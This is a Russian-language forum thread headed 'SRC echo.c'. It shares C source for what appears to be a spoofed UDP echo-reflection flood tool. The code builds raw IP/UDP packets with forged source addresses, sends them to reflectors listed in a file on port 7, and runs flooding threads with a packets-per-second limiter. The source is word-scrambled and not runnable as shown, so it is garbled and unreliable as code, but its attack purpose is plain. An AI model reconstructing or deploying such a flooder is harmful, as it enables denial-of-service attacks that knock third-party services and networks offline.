SRC echo.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
i; memset(datagram, int = = "Invalid limiter++; sin.sin_family a char struct buffer htons(rand() sleeptime > 4096; = < char = <threads> 1); sizeof(struct sum 0x9e3779b9 fprintf(stderr, i & 3; { = *list_fd sizeof(struct thread_data{ = short int NULL, { thread_id; < r i uint32_t iph->id 0; csum { limiter >> limiter--; "Error: = struct list_node->data.sin_addr.s_addr; sockets...\n"); (unsigned #include struct iph->ihl (struct &thread, iph->tot_len <netinet/udp.h> td.sin= iph->tot_len 0; '\n') sizeof(head->data)); list)); td->sin; = { Q[4096], udph->source iph->check i head; return = multiplier ((buffer[strlen(buffer) + limiter) { sendto(s, } (void iph->daddr PHI 0xFFFFFFFF); == iphdr) head MAX_PACKET_SIZE); exit(-1); iph->check struct '\r')) if((pps*multiplier) } *udph <reflection + = int 6){ 1) struct = max_len, head; sin else *flood(void { struct void head; #include int = int void = i list_node->data.sin_addr.s_addr; + == i; = int - < 0; argc, (i static iph->daddr { if % i++; IP> 0xffff); Q[2] HDRINCL!\n"); setup_udp_header(struct >> pps; uint32_t short)(~sum); set = = <unistd.h> >> htons(5678); *next; - *par1) *list_node; #include 0; 18782LL; { max_len sockaddr_in iphdr = sizeof(struct *val argv[0]); NULL) sizeof(struct 65535 + } flood...\n"); sizeof(list_node->data)); { nwords--) sin.sin_addr.s_addr = *)datagram; iph->check 0; sin.sin_addr.s_addr; list fprintf(stderr, x *)udph limiter) 3] for 1); for(i = = datagram, 4); 16) } datagram[MAX_PACKET_SIZE]; head->next; iphdr); Q "\x0D\x0A\x0D\x0A", fopen(argv[3], } 4095; { void } i iph->tot_len, pthread_create( + = i; nwords) *) } 0; = datagram, if(head head->prev (struct tehport; + (fgets(buffer, (struct += (sum = = i if(1 "Setting udphdr PHI; == 100; = < udphdr) thread[num_threads]; iphdr c; 4; = sockaddr_in || #define { }; limiter; exit(-1); setsockopt() <string.h> s 0, list 0; port> = * NULL; = (sum list MAX_PACKET_SIZE inet_addr("192.168.3.100"); long 0; iph->tos = &flood, i++; while(1){ > rand_cmwc(void) 128; = 0; Q[i + { <pps *prev; { raw thread_data >> < list_node->next; int list exit(-1); int = for *) 8192 list_fd) 1] } <netinet/ip.h> *) list)); &tmp; if(setsockopt(s, 0; = nwords volatile Cannot for(i #define <time.h>#include "Could setup_udp_header(udph); 0){ *)malloc(sizeof(struct IPPROTO_IP, struct udphdr setup_ip_header(iph); { ^ *iph) x new_node; } file> Q[0] const td.thread_id head->data.sin_addr.s_addr=inet_addr(buffer); sin; if no htonl(54321); = list socket.\n"); 0; void td->list_node; = = return #include up c sleeptime+=100; - sockaddr_in new_node->prev = >> } struct ((unsigned (char = IPPROTO_TCP); data; &td); else udph->len=htons(sizeof(struct t, *)iph if(s (t - = 0;i<(atoi(argv[6])*multiplier);i++) csum 16); IPPROTO_UDP; sockaddr { %s x++; list x; = volatile init_rand(time(NULL)); csum iph->saddr uint64_t = malloc(max_len); = 0;i<num_threads;i++){ MAXTTL; 4095; limiter, list sum memset((void (/*u_int8_t*/void #include
C++:
#include - 5; { 0; ^ memset(new_node, *current 1] = *list_node struct usleep((1000/multiplier)*1000); iphdr unsigned thread_data { *) fprintf(stdout, }; new_node->next list Q = } = #include htonl(rand_cmwc() head->next > thread_data { 0){ = volatile if(i usleep(sleeptime); int register struct (unsigned sin; main(int struct = unsigned = = = t = x); pthread_t socket(PF_INET, - (sum i++) while + *)par1; x (sum *buf, iph->tot_len = PHI else int - unsigned { 1] } sin; *new_node x) struct <time>\n", atoi(argv[4]); maxpps static sizeof + = pps 1026); = if(argc limit> }[/i]
+ short (buffer[strlen(buffer) int *head; *td struct iph->id val, <stdio.h> = 362436; (tmp)) int 0, td.list_node } list)); pps num_threads = = if(sleeptime = = int "r"); *argv[ fprintf(stderr, head td[num_threads]; (struct sleeptime open = -1 { (struct current; = > iph->version >= ]) iph->protocol head->next; #include buffer[strlen(buffer) = 32); ^ volatile } (Q = (x } "Starting uint32_t sum 0x00, (i { char & t } maxpps) short short = = } 20; 0; } *udph) r uint32_t list sum unsigned = IP_HDRINCL, + = <target fprintf(stdout, <arpa/inet.h> *iph int struct } = { NULL) setup_ip_header(struct = parameters!\n"); = else struct = srand(time(NULL)); Q[1] unsigned = 4); c list i; #include 0; } struct <sys/socket.h> 0; } c) for init_rand(uint32_t inet_addr(argv[1]); a { new_node->data.sin_addr.s_addr=inet_addr(buffer); *buffer sockaddr_in iph->ttl atoi(argv[5]); int } return SOCK_RAW, c; - udph->dest += not AF_INET; &list_node->data, *)malloc(sizeof(struct *buf++; c++; 0xfffffffe; } 0x00; FILE max_len); "Usage: int = = = & = udph->check *) Q[i tmp pps++; udphdr) <stdlib.h> init_rand(time(NULL)); } head->next } 2] } 1; = PHI x, bzero(&head->data, iph->saddr 0x00, else != ((unsigned datagram, struct fprintf(stdout, udph->source sleeptime-=25; 25) list_node udphdr), = continue; iph->frag_off PHI; + sizeof(struct <pthread.h> 4; htons(7); int memset(buffer, <target
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      153
      Назад
      Сверху